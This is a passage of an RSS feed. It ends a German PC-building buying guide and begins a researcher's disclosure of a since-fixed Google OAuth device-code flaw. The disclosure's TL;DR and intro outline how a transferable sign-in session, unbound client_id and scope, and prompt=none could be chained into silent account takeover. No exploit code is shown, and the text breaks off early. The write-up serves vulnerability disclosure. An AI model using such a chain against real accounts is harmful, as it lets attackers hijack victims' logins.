<li><a href="https://www.pcwelt.de/article/3165064/windows-11-pro-fur-69-euro-im-pc-welt-store.html" target="_blank" rel="noreferrer noopener">Windows 11 Pro für 69 Euro im PC-WELT-Store</a></li>
</ul>
</div>



<h2 class="wp-block-heading">Konfiguration 1: Der Office- und Alltags-PC</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877630f5"}' data-wp-interactive="core/image" class="wp-block-image size-full is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Ryzen-5-4600G.jpg?quality=50&amp;strip=all" alt="Ryzen 5 4600G" class="wp-image-3173118" width="789" height="776" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Der Star dieses Setups: Der Ryzen 5 5600G verfügt über eine integrierte Grafikeinheit und macht eine dedizierte Grafikkarte im Office-PC überflüssig. Das senkt den Gesamtpreis deutlich, erlaubt aber nur leichtes Gaming auf Einsteiger-Niveau.</figcaption></figure><p class="imageCredit">AMD</p></div>



<h3 class="wp-block-heading toc">Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle</h3>



<p>Fürs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, günstig und bietet mehr als genug Leistung für typische Office- und Alltagsanwendungen.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+5+5600g+prozessor+725821" target="_blank" rel="noreferrer noopener">AMD Ryzen 5 5600G</a> – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nötig.</li>



<li><strong>Alternative</strong><em>:</em> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/intel+core+i3+14100+823580" target="_blank" rel="noreferrer noopener">Intel Core i3-14100</a> – Reicht für reine Office-Arbeiten ebenfalls völlig aus. <strong>Wichtig:</strong> Achten Sie darauf, nicht aus Versehen die <em>14100F-Variante</em> zu kaufen, weil dieser Version die Grafikeinheit fehlt.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> <a href="https://www.amazon.de/dp/B0F4H61PLX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Gigabyte B550M DS3H</a> (für AMD) oder <a href="https://www.amazon.de/dp/B0BNQFRNJL?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus Prime B760M-K D4</a> (für Intel). Beide Boards setzen auf den günstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen Anschlüsse für den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze für NVMe-SSDs und genügend Erweiterungsmöglichkeiten für spätere Upgrades.</li>



<li><strong>Arbeitsspeicher (RAM):</strong> 16 GB DDR4-3200 (z.B. <a href="https://www.amazon.de/dp/B0957TXNJ3?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Memory Viper Elite II DDR4 2x8GB, CL18</a>). Dieser Arbeitsspeicher ist für flüssiges Arbeiten und Multitasking völlig ausreichend. Selbst bei zahlreichen geöffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.</li>



<li><strong>Speicherplatz:</strong> 500 GB PCIe 4.0 NVMe SSD (z.B. <a href="http://www.amazon.de/dp/B0DC8K6KQD?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Crucial P310 SSD 500GB M.2 NVMe</a>). Die SSD sorgt für blitzschnelle Boot- und Zugriffszeiten. Wer viele Fotos, Videos oder große Dokumentensammlungen lokal speichert, sollte direkt zur <a href="http://www.amazon.de/dp/B0DC8VPSHV?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">1-TB-Variante</a> greifen.</li>



<li><strong>Gehäuse:</strong> Das <a href="https://www.amazon.de/dp/B0B4X9FMQS?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Montech Air 100</a> ist ein kompaktes Micro-ATX-Gehäuse, das für rund 70 Euro vorbildlich verarbeitet ist. Es bietet ab Werk vorinstallierte Lüfter und eine Mesh-Front für leisen, kühlen Betrieb.</li>



<li><strong>Netzteil:</strong> Mit 450 Watt sind Sie in diesem Segment bestens bedient. Sie können zum Beispiel zum <a href="https://www.amazon.de/dp/B0F5X4JR6T?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! System Power 11 450W</a> greifen – das ist ein grundsolides und effizientes Netzteil, das mit seiner moderner ATX-3.1-Zertifizierung zukunftssicher ist. Weil bei diesem Setup keine separate Grafikkarte versorgt werden muss, bleiben die Leistungsreserven selbst unter Last komfortabel.<br><br></li>
</ul>



<h2 class="wp-block-heading toc">Konfiguration 2: Casual-Gaming und Videoschnitt-PC</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e87763cc6"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/ASUS-Prime-GeForce-RTX-5060-8GB-GDDR7-OC-Edition-Gaming.jpg?quality=50&amp;strip=all&amp;w=1117" alt="ASUS Prime GeForce RTX 5060 8GB GDDR7 OC Edition Gaming" class="wp-image-3173126" width="1117" height="1200" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Die GeForce RTX 5060 (zu sehen ist ein Modell von ASUS) liefert die nötige Leistung für 1440p-Gaming und profitiert von modernen Features wie DLSS sowie Hardware-Encoding für Streaming und Videoschnitt.</figcaption></figure><p class="imageCredit">Asus</p></div>



<p>Wer aktuelle Spiele flüssig genießen oder mit <a href="https://adobe.prf.hn/click/camref:1101lr4vb/pubref:rss/destination:https://www.adobe.com/de/products/premiere.html" target="_blank" rel="noreferrer noopener">Adobe Premiere</a> und <a href="https://www.blackmagicdesign.com/de/products/davinciresolve" target="_blank" rel="noreferrer noopener">DaVinci Resolve</a> kreativ werden möchte, kommt um die aktuelle Hardware-Generation nicht herum – das beinhaltet aber auch den derzeit teuren DDR5-RAM. Dafür gibt es starke Leistung und hervorragende Effizienz.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> ca. 1.800 – 2.100 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong>: Der <a href="https://www.amazon.de/dp/B0DFK8HHK4?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Intel Core Ultra 5 245KF</a> bietet derzeit ein attraktives Preis-Leistungs-Verhältnis. Für rund 150 Euro liefert der moderne 14-Kerner reichlich Leistung für flüssiges 1440p-Gaming und anspruchsvolle Videoschnitt-Projekte.</li>



<li><strong>Alternative</strong>: Der <a href="https://www.amazon.de/dp/B0D6NMDNNX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">AMD Ryzen 7 9700X</a> ist eine hocheffiziente 8-Kern-CPU von AMD. Sie verbraucht unter Volllast etwas weniger Strom und bietet beim Gaming minimale Vorteile, ist aktuell im Handel aber etwas teurer.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> Das <a href="http://www.amazon.de/dp/B0DJDFKV2J?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus TUF Gaming Z890-Plus</a> (für Intel) oder das <a href="https://www.amazon.de/dp/B0BDS873GF?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">MSI MAG B650 Tomahawk WiFi</a> (für AMD). Beide bieten moderne PCIe-Slots und solide Kühlung für die Spannungswandler.</li>



<li><strong>Arbeitsspeicher (RAM):</strong> 32 GB DDR5-6000 CL30 Kit (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Angesichts der aktuellen Marktlage ist das eine Investition (450 Euro), die sich für flüssigen 4K-Videoschnitt und moderne Spiele aber auszahlt.</li>



<li><strong>Grafikkarte (GPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> Nvidia GeForce RTX 5060 mit 8 GB (z.B. <a href="https://www.amazon.de/dp/B0CSFMYN1W?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus Prime GeForce RTX 5060 8GB OC Edition</a>). Diese Karte ist eine solide Wahl für klassisches 1440p-Gaming, die dank NVENC-Encoder sowie DLSS 4 auch für Content Creation gut geeignet ist. 8-GB-VRAM reichen für die meisten aktuellen Titel aus, können bei anspruchsvollen AAA-Spielen aber zum Flaschenhals werden. Für spürbar mehr Leistungsreserven im 1440p-Gaming können Sie auch zum <a href="https://www.amazon.de/dp/B0F4DVXKKX?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Ti-Modell</a> greifen (+ 80 Euro).</li>



<li><strong>Preis-Alternative</strong><em>:</em> AMD Radeon RX 9060 XT mit 8 GB (z.B. <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/gigabyte+radeon+rx+9060+xt+8gb+gaming+grafikkarte+neu+913965" target="_blank" rel="noreferrer noopener">Gigabyte Radeon RX 9060 XT 8GB</a>). Wer ein reines AMD-System bevorzugt, kann zu diesem aktuellen RDNA-4-Modell greifen. Für rund 300 Euro bietet sie hervorragende native Rasterleistung in 1440p und moderne KI-Upscaling-Features.</li>
</ul>
</li>



<li><strong>Speicherplatz:</strong> 2 TB PCIe 4.0 NVMe SSD (z.B. <a href="https://www.amazon.de/dp/B0B7CKZGN6?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">WD_BLACK SN850X NVMe SSD</a>). Moderne Videoprojekte sind äußerst speicherintensiv. Diese schnelle NVMe-SSD bietet reichlich Kapazität und sorgt für verzögerungsfreie Arbeitsabläufe.</li>



<li><strong>Gehäuse:</strong> <a href="https://www.amazon.de/dp/B0CJCJ3ZZB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Fractal Design North XL</a> – ein echter Ästhetik-Hingucker. Mit einer Front aus Walnuss- oder Eichenholz fügt es sich elegant ins Zimmer ein. Dabei bietet es genug Platz und Airflow auch für Komponenten mit hoher Wärmeentwicklung.</li>



<li><strong>Netzteil:</strong> 750 Watt ATX 3.1 (z.B. <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/seasonic+focus+gx+750+atx+31+white+pc+netzteil+863558" target="_blank" rel="noreferrer noopener">Seasonic Focus GX ATX 3.1</a>) – Dieses Netzteil bietet den modernen 12V-2×6-Anschluss für RTX-Karten und genügend Puffer für Leistungsspitzen.<br><br></li>
</ul>



<h2 class="wp-block-heading toc">Konfiguration 3: High-End-System für Gaming und Content Creation</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877646bb"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/06/Gigabyte-AORUS-GeForce-RTX-5090-Master-32G-Grafikkarte.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Gigabyte AORUS GeForce RTX 5090 Master 32G Grafikkarte" class="wp-image-3173131" width="1200" height="1032" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption">Für einen High-End-PC setzen wir auf üppige Leistungsreserven – wahlweise die GeForce RTX 5080 mit 16 GB oder die GeForce RTX 5090 mit 32 GB VRAM als kompromisslose Spitzenlösung.</figcaption></figure><p class="imageCredit">Gigabyte </p></div>



<p>Dieses System ist für Enthusiasten konzipiert, die im Grafikmenü keine Kompromisse eingehen wollen. Hier zählt pure, ungebremste Leistung. <strong>Hinweis:</strong> Die große Preisspanne dieser Konfiguration ergibt sich vor allem durch die Wahl der Grafikkarte.</p>



<ul class="wp-block-list">
<li><strong>Preisrahmen:</strong> 3.300 – 7.200 Euro (Kern-PC, zzgl. Peripherie &amp; OS)</li>
</ul>



<ul class="wp-block-list">
<li><strong>Prozessor (CPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard:</strong> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+9+9900x3d+prozessor+878500" target="_blank" rel="noreferrer noopener">AMD Ryzen 9 9900X3D</a><strong> </strong>– Dank des aufgestockten 3D-V-Cache gehört diese CPU zu den schnellsten Gaming-Prozessoren überhaupt. Sie verspricht maximale Framerates auch in modernen und anspruchsvollen Spielen.</li>



<li><strong>Günstigere Alternative:</strong> <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11348&amp;clickref=rss&amp;ued=https://www.notebooksbilliger.de/amd+ryzen+9+9900x+prozessor+856963" target="_blank" rel="noreferrer noopener">AMD Ryzen 9 9900X</a> – minimal langsamer in Spielen, aber ein absolutes Kraftpaket, falls der PC primär für 3D-Rendering, simulationslastige Anwendungen oder rechenintensiven Videoschnitt genutzt wird.</li>
</ul>
</li>



<li><strong>Mainboard:</strong> <a href="https://www.amazon.de/dp/B09CD4WSR6?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Asus ROG Strix X870E-E Gaming</a> – Ein ATX-Powerhouse für den Sockel AM5. Das Board wurde entwickelt, um das Potenzial der AMD-Ryzen-9000er-Serie voll auszuschöpfen. Mit zwei nativen USB4-Anschlüssen, Wi-Fi 7 und voller PCIe‑5.0‑Unterstützung bietet es moderne Konnektivität.</li>



<li><strong>Arbeitsspeicher (RAM):</strong> 32 GB DDR5-6000 CL30 Kit (z.B. <a href="https://www.amazon.de/dp/B0D4NLTM6R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Patriot Viper Venom DDR5-6000 2X16GB, CL30</a>). Auch im High-End-Segment bringen 64 GB beim reinen Gaming kaum messbare Vorteile. Das Budget ist in der Grafikkarte besser investiert. Nur wer sein System professionell nutzt – etwa für aufwendige 4K-Videobearbeitung oder intensives 3D-Rendering, greift zum <a href="https://www.amazon.de/dp/B0BT86XVCB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">64-GB-Kit</a> und muss den Preissprung zwangsläufig hinnehmen.</li>



<li><strong>Grafikkarte (GPU):</strong>
<ul class="wp-block-list">
<li><strong>Standard</strong><em>:</em> Nvidia GeForce RTX 5080 mit 16 GB (z.B. <a href="https://www.amazon.de/dp/B0BSLJK16Z?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">MSI GeForce RTX 5080 16GB GDDR7</a>) – Das Werkzeug für kompromissloses 4K-Gaming. Sie bewältigt selbst rechenintensives Path-Tracing ohne Einknicken und korrigiert mit den 16 GB schnellem GDDR7-Videospeicher endlich den Geiz vergangener Nvidia-Tage – was man sich allerdings auch teuer erkauft.</li>



<li><strong>Highend-Alternative</strong><em>:</em> Nvidia GeForce RTX 5090 mit 32 GB (z.B. <a href="https://www.amazon.de/dp/B0DT9YQR11?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Gigabyte Aorus GeForce RTX 5090 32 GB GDDR7</a>). Das absolute Spitzenmodell im Consumer-Markt. Die Grafikkarte richtet sich an Enthusiasten, die für maximale Workstation-Leistung oder extremes 4K-Path-Tracing die höchste Ausbaustufe anpeilen und bereit sind, den entsprechenden Premium-Preis zu zahlen.</li>
</ul>
</li>



<li><strong>Speicherplatz:</strong> 2 bis 4 TB PCIe 5.0 NVMe SSD (z.B. <a href="https://www.amazon.de/dp/B0F9XP15XL?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Crucial T710 SSD 4TB M.2 NVMe PCIe 5.0</a>) – Für kürzeste Ladezeiten dank DirectStorage: Diese Technologie erlaubt es der Grafikkarte, Spieldaten ohne Umweg über die CPU direkt von der SSD zu laden.</li>



<li><strong>Gehäuse:</strong><br><ul><li><strong>Standard:</strong> <a href="https://www.amazon.de/dp/B0C592W24R?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! Shadow Base 800 FX Black</a> – ein geräumiger Full-Tower, der ab Werk mit vier Light-Wings-140mm-PWM-Lüftern und einer integrierten Lüfter-Steuerung geliefert wird. Das Gehäuse bietet ausreichend Platz für große 420-mm-Radiatoren und überlange Grafikkarten.</li></ul>
<ul class="wp-block-list">
<li><strong>Design-Alternative:</strong> <a href="http://www.amazon.de/dp/B0CGM5HJM8?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Lian Li O11 Dynamic EVO XL</a> – Ein modularer Full-Tower, der sich spiegelverkehrt aufbauen lässt. Durch die abnehmbare Ecksäule bietet das Gehäuse freien Einblick auf die Hardware. Es fasst E-ATX-Mainboards, Grafikkarten bis 460 mm Länge und erlaubt die gleichzeitige Montage von bis zu drei 420-mm-Radiatoren für aufwendige Wasserkühlungen.</li>
</ul>
</li>



<li><strong>Netzteil:</strong> 1000 Watt ATX 3.1 (z.B. <a href="https://www.amazon.de/dp/B0BPSWXKSB?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">Corsair RMx Shift</a> oder <a href="http://www.amazon.de/dp/B0C86H1MM9?tag=pcwelt.de-21&amp;ascsubtag=rss" target="_blank" rel="noreferrer noopener">be quiet! Straight Power 12</a>). Die RTX-50-Serie kann unter Last eine hohe Leistungsaufnahme erreichen. Ein hochwertiges 1000-Watt-Netzteil mit ATX-3.1-Unterstützung bietet dafür ausreichende Reserven.</li>
</ul>



<h2 class="wp-block-heading">Ihre Kauf-Checkliste für 2026</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a59e877654fd"}' data-wp-interactive="core/image" class="wp-block-image size-large is-resized wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2025/01/OnlineShopping.jpg?quality=50&amp;strip=all&amp;w=1200" alt="Mann kauft online ein mit Kreditkarte und Handy" class="wp-image-2577525" width="1200" height="675" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Anucha Tiemsom/Shutterstock.com</p></div>



<p>Bevor Sie Ihre Komponenten in den Warenkorb legen, sollten Sie diese Punkte noch einmal kritisch prüfen. Hier verstecken sich die häufigsten Fehler beim PC-Kauf:</p>



<ul class="wp-block-list">
<li><strong>Airflow bei Gaming-Systemen beachten: </strong>Moderne Komponenten arbeiten zwar immer effizienter, trotzdem gilt: Je mehr Leistung, desto mehr Abwärme. Gerade für High-End-Setups sollten Sie Gehäuse mit geschlossener Glas- oder Plastikfront deswegen eher meiden. Eine offene Mesh-Front sorgt für frische Luft, hält die Temperaturen niedrig und ermöglicht es den Gehäuselüftern, auch unter Last angenehm leise zu arbeiten.</li>



<li><strong>HDD stirbt langsam aus:</strong> Für Betriebssystem, Programme und Spiele haben HDDs ausgedient. Mechanische Festplatten lohnen sich heute vor allem noch als günstiger Datenspeicher für Backups und große Medienarchive – alles andere macht die SSD.</li>



<li><strong>Netzteil-Standards beachten:</strong> Neue Grafikkarten benötigen moderne Anschlüsse und eine stabile Absicherung gegen Spannungsspitzen. Achten Sie beim Netzteilkauf auf die neue <strong>ATX-3.1</strong>-Zertifizierung.</li>



<li><strong>RAM-Sweetspot treffen:</strong> Greifen Sie maximal zu DDR5-6000-Speicher. Alles darüber hinaus macht Ihr neues Setup deutlich teurer, liefert in der Praxis aber kaum einen spürbaren Mehrwert.</li>



<li><strong>Mainboard-Features geschickt wählen:</strong> Bezahlen Sie nicht für Anschlüsse, die Sie nie nutzen. Wer einen PC ohnehin per LAN-Kabel mit dem Router verbindet, braucht z.B. kein Modell mit integriertem Wi-Fi 7.</li>



<li><strong>Kühlung richtig dimensionieren:</strong> Für Mittelklasse-Prozessoren (wie den Ryzen 5 9600X) reicht ein solider Tower-Luftkühler für 40 Euro oft aus. Teure Komplettwasserkühlungen (AiOs) sind erst im High-End-Segment sinnvoll – oder wenn Sie der Gehäuse-Optik besonderes Augenmerk schenken wollen.</li>
</ul>



<h2 class="wp-block-heading">Fazit: Clever kaufen trotz Krise</h2>



<p>Wer 2026 einen PC baut, sieht sich mit neuen Spielregeln konfrontiert. Der KI-Boom hat den Markt <strong>spürbar verzerrt</strong> und Arbeitsspeicher zum kostspieligen Schmerzpunkt gemacht. Ein Grund zum Abwarten ist das aber nicht. Dafür steht zu viel spannende Technik in den Regalen – Besserung ist aktuell auch gar nicht in Sicht.</p>



<p>Die Devise lautet deshalb: <strong>Priorisieren statt Verzweifeln.</strong> Wer beim RAM den Sweetspot trifft (DDR5-6000), auf Vorratskäufe verzichtet oder im Office-Bereich geschickt auf DDR4 ausweicht, holt das Maximum aus seinem Budget heraus. Wenn Sie Ihr Geld strategisch verteilen und die Preisfallen der Hersteller umschiffen, können Sie Ihren Traum-PC auch in Krisenzeiten realisieren.</p>



<p></p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible 